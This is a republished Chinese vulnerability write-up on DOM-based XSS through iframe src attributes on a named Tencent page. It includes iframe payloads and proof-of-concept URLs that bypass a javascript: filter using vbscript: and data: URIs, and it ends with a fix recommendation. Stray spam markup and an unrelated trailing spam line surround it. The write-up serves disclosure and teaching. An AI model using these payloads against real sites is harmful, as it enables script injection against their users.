<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                # 11\. Dom Xss 進階 [善變 iframe] > 來源:[11\. Dom Xss 進階 \[善變 iframe\]](http://www.wooyun.org/bugs/wooyun-2010-016223) ## 簡要描述 有時候,輸出還會出現在 `<iframe src="[輸出]"></iframe>` 。 iframe 的 src 屬性本來應該是一個網址,但是 iframe 之善變,使得 它同樣可以執行 javascript,而且可以用不同的姿勢來執行。這一類問題,我將其歸為[路徑可控]問題。當然上面說到的是普通的反 射型 XSS。有時候程序員會使用 javascript 來動態的改變 iframe 的 src 屬性,譬如:`iframeA.src="[可控的 url]";` 同樣會導致 XSS 問題,來看看本例吧~ ## 詳細說明 1\. 先來說說 iframe 的變化。 1.1 最好懂的,onload 執行 js ``` <iframe onload="alert(1)"></iframe> ``` 1.2 src 執行 javascript 代碼 ``` <iframe src="javascript:alert(1)"></iframe> ``` 3\. IE 下 vbscript 執行代碼 ``` <iframe src="vbscript:msgbox(1)"></iframe> ``` 1.4 Chrome 下 data 協議執行代碼 ``` <iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome ``` 1.5 上面的變體 ``` <iframe src="data:text/html,<script>alert(1)</script>"></iframe> ``` 1.6 Chrome 下 srcdoc 屬性 ``` <iframe srcdoc="<script>alert(1)</script>"></iframe> ``` 2\. 有興趣的,可以一個一個的去測試上面的效果,注意瀏覽器的特異性哦。 3\. 接著我們來看看具體的例子。 ``` http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from= ``` 4\. 我們先開調試工具,看看有沒有可見的輸出。 ![image](https://box.kancloud.cn/2016-03-23_56f250413f06a.jpg) 可以看到,我們參數的 aaaaaa 被帶入到了`<iframe src="這里"></iframe>`。 這樣一來,就滿足了我們的使用條件。 我們試試 ``` http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from= ``` 。。竟然沒反應。我們來看看剛才的那個地方。 ![image](https://box.kancloud.cn/2016-03-23_56f2504156da4.jpg) 可以看到,src 這次沒屬性了,看來騰訊做了什么過濾。我們繼續搜索下一個 toolframe 試試。 恩,看來就是這段代碼導致的。 ![image](https://box.kancloud.cn/2016-03-23_56f250416af2a.jpg) 一起看看這段代碼。 ``` function OpenFrame(url) { if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false; document.getElementById("toolframe").src = url; } ``` 不難看出,騰訊對 javascript:做出了判斷。 ``` document.getElementById("toolframe").src = url; ``` 這句是導致 XSS 的一句代碼。而 openFrame 的 url 參數則來自于(無關代碼省略): ``` ... var tool_url = getQueryStringValue("turl"); ... openFrame(tool_url); ... ``` 5\. 根據我們上面說道的 iframe 的利用方法,我們不難看出,騰訊的過濾是不完善的。 在 IE 下,我們可以使用 vbscript 來執行代碼。 vbscript 里 ' 單引號表示注釋,類似 JS 里的`//` ``` http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from= ``` ![image](https://box.kancloud.cn/2016-03-23_56f250417eb43.jpg) ``` http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from= ``` ![image](https://box.kancloud.cn/2016-03-23_56f2504197c1c.jpg) 6\. 就到這里。 ## 修復方案 危險的不光是 javascript:, vbscript:, data: 等同樣需要過濾。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看